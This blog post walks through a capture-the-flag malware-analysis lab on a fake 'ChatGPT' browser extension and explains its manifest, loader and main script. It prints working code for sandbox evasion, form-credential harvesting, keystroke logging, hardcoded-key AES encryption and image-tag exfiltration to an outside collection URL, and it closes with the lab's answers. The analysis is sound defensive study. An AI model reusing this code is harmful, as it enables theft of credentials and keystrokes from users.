Post

FakeGPT Walkthrough

This blog examines a fake ChatGPT browser extension used as malware to steal user data, including credentials and keystrokes. It highlights the extension's malicious capabilities, such as evasion techniques, excessive permissions, and encrypted data exfiltration.

FakeGPT Walkthrough
CategoryMalware Analysis
TacticsCredential Access , Collection , Command and ControlExfiltration
ToolsExtAnalysis , CRX Viewer
DifficultyEasy
Official Walkthroughhttps://cyberdefenders.org/walkthroughs/fakegpt/

Scenario

Your cybersecurity team has been alerted to suspicious activity on your organization’s network. Several employees reported unusual behavior in their browsers after installing what they believed to be a helpful browser extension named “ChatGPT”. However, strange things started happening: accounts were being compromised, and sensitive information appeared to be leaking.

Your task is to perform a thorough analysis of this extension identify its malicious components.


Static Analysis

Browser extensions are small software programs that enhance browser functionality and are typically built using web technologies like HTML, CSS, and JavaScript.

In this case, we are provided with the following files:

image

But first we can understand the typical structure of a browser extension.

manifest.json

We have a file called manifest.json which is the core configuration file of a browser extension. It defines the metadata, functionality, permissions, and behavior of the extension. Browsers like Chrome, Firefox, and Edge use this file to understand what the extension does, how it interacts with the browser, and which resources it needs access to.

image

Where:

  • "manifest_version": 2 : Specifies the manifest version.
  • "name": "ChatGPT" : Is the name of the extension, as displayed in the browser extension menu.
  • "version": "1.0" : Is the version of the extension.
  • "description": "An AI-powered assistant extension." : Describes what the extension does. This is shown in the extension store or browser settings.
  • The permissions requested include:
    • "tabs": which allows access to all tabs and their metadata, potentially for tracking user activity.
    • "http://*/*" and "https://*/*": grants access to all websites, enabling interception or modification of web requests.
    • "webRequest" and "webRequestBlocking": can intercept and block network requests, and potentially used for injecting malicious scripts or redirecting traffic.
    • "cookies": allows reading, setting, and deleting cookies, which can lead to session hijacking.
  • background Script: system/loader.js is marked as persistent. Persistent background scripts can continuously run in the background, potentially performing unauthorized actions like data exfiltration or beaconing to a command-and-control (C2) server.
  • content_scripts: The content script (core/app.js) matches <all_urls>, meaning it can be injected into every webpage you visit.
  • UI (assets/ui.html): Provides a front-end interface for the extension.

With the above in mind, I was inclined to think the following:

  • The permissions are overly permissive for an extension claiming to be an “AI-powered assistant.”
  • We can inspect the loader.js file to identify potential Network requests to unknown domains or even detect malicious code indicating data harvesting or C2 communication.
  • We can also inspect app.js for DOM manipulation, Credential harvesting or Keylogging functionalities.

loader.js

image

This script does a couple of suspicious things including:

  • Checking for virtualized environments:
    • navigator.plugins.length === 0: Detects environments with no browser plugins (common in virtual machines or sandboxed environments).
    • /HeadlessChrome/.test(navigator.userAgent): Checks if the browser is running in headless mode. Once the above checks have been detected, it Displays an alert and uses chrome.runtime.onMessage.addListener(() => { return false; }); to block communication, effectively disabling the extension.
  • It then dynamically loads JavaScript files into the webpage

    1
    2
    3
    4
    5
    6
    
      function loadScript(url, callback) {
          var script = document.createElement('script');
          script.src = url;
          script.onload = callback;
          document.head.appendChild(script);
      }
    

    Where url is the URL of the script to load and callback: is the function executed after the script is successfully loaded. In this case:

    1
    2
    3
    
      loadScript('core/app.js', function() {
          console.log('Core functionality loaded.');
      });
    

From this file, I deduced that:

  • The extension avoids running in analysis environments.
  • Since the script dynamically loads core/app.js, it could be abused to fetch additional, potentially malicious code.

app.js

image

I will try break this down in parts for easier comprehension:

  • Target Website
1
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];

The string 'd3d3LmZhY2Vib29rLmNvbQ==' is Base64-encoded. Decoding it reveals:

1
2
echo "d3d3LmZhY2Vib29rLmNvbQ==" | base64 -d
www.facebook.com 

This indicates the script specifically targets Facebook, suggesting it is designed for phishing or stealing credentials from Facebook users.

  • Credential Harvesting
1
2
3
4
5
6
7
8
9
10
document.addEventListener('submit', function(event) {
    let form = event.target;
    let formData = new FormData(form);
    let username = formData.get('username') || formData.get('email');
    let password = formData.get('password');
    
    if (username && password) {
        exfiltrateCredentials(username, password);
    }
});

This code listens for the submit event on any form. When a form is submitted, it extracts username (or email) and password fields using FormData. If both fields are found, it calls exfiltrateCredentials() to send the data to a remote server.

  • Keystroke Logging
1
2
3
4
document.addEventListener('keydown', function(event) {
    var key = event.key;
    exfiltrateData('keystroke', key);
});

The script also logs every keypress using the keydown event and sends each keystroke to the remote server via exfiltrateData().

  • Data Exfiltration

    exfiltrateCredentials prepares a payload containing the username, password, and the hostname of the current site. It then encrypts the payload with encryptPayload() and sends the encrypted payload to the attacker’s server with sendToServer().

    1
    2
    3
    4
    5
    
      function exfiltrateCredentials(username, password) {
          const payload = { user: username, pass: password, site: window.location.hostname };
          const encryptedPayload = encryptPayload(JSON.stringify(payload));
          sendToServer(encryptedPayload);
      }
    

    exfiltrateData is preety similar to exfiltrateCredentials, but used for sending general data (e.g., keystrokes).

    1
    2
    3
    4
    5
    
      function exfiltrateData(type, data) {
          const payload = { type: type, data: data, site: window.location.hostname };
          const encryptedPayload = encryptPayload(JSON.stringify(payload));
          sendToServer(encryptedPayload);
      }
    
  • Payload Encryption

1
2
3
4
5
6
function encryptPayload(data) {
    const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');
    const iv = CryptoJS.lib.WordArray.random(16);
    const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv });
    return iv.concat(encrypted.ciphertext).toString(CryptoJS.enc.Base64);
}

The payload is encrypted with AES encryption using the CryptoJS library. The Key is hardcoded 'SuperSecretKey123' , The IV (Initialization Vector) is randomly generated for each encryption and finally the encrypted payload is converted to Base64 for transmission.

  • Data Transmission
1
2
3
4
5
function sendToServer(encryptedData) {
    var img = new Image();
    img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);
    document.body.appendChild(img);
}

Data is exfiltrated to https://Mo.Elshaheedy.com/collect using a GET request. Instead of using fetch() or XMLHttpRequest, an <img> tag is dynamically created, and its src attribute is set to the server URL with the encrypted data.

This is a stealthy technique to bypass Content Security Policies (CSPs) that might block traditional network requests.

Conclusion

In conclusion, this analysis uncovers a fake ChatGPT browser extension designed for credential theft and keystroke logging, targeting websites like Facebook. The extension exploits excessive permissions, employs AES encryption for data exfiltration, and uses evasion tactics to bypass sandbox detection. With a hardcoded encryption key and stealthy image-based GET requests, it avoids detection while stealing sensitive user data.


Questions

Q1

Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?

base64

Q2

Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?

www.facebook.com

Q3

Which type of HTML element is utilized by the extension to send stolen data?

<img>

Q4

What is the first specific condition in the code that triggers the extension to deactivate itself?

navigator.plugins.length === 0

Q5

Which event does the extension capture to track user input submitted through forms?

submit

Q6

Which API or method does the extension use to capture and monitor user keystrokes?

keydown

Q7

What is the domain where the extension transmits the exfiltrated data?

Mo.Elshaheedy.com

Q8

Which function in the code is used to exfiltrate user credentials, including the username and password?

exfiltrateCredentials(username, password);

Q9

Which encryption algorithm is applied to secure the data before sending?

AES

Q10

What does the extension access to store or manipulate session-related data and authentication information?

cookies

This post is licensed under CC BY 4.0 by the author.